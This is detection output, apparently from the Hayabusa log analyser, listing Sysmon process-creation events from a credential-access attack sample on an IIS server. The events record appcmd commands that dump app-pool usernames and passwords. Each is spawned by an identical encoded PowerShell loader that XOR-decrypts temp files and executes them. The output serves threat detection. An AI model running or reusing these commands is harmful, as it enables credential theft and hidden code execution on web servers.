Process,,rules/sigma/process_creation/win_susp_powershell_parent_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:28:42.711 +09:00,IEWIN7,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:28:42.711 +09:00,IEWIN7,1,high,Shells Spawned by Web Servers,,rules/sigma/process_creation/win_webshell_spawn.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:28:42.711 +09:00,IEWIN7,1,medium,Too Long PowerShell Commandlines,,rules/sigma/process_creation/sysmon_long_powershell_commandline.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.000 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\InetSRV\appcmd.exe"" list vdir /text:physicalpath : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.110 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppools /text:name : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.190 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""ERROR ( message:Configuration error "" /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.270 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""ERROR ( message:Configuration error "" /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.350 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.581 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQ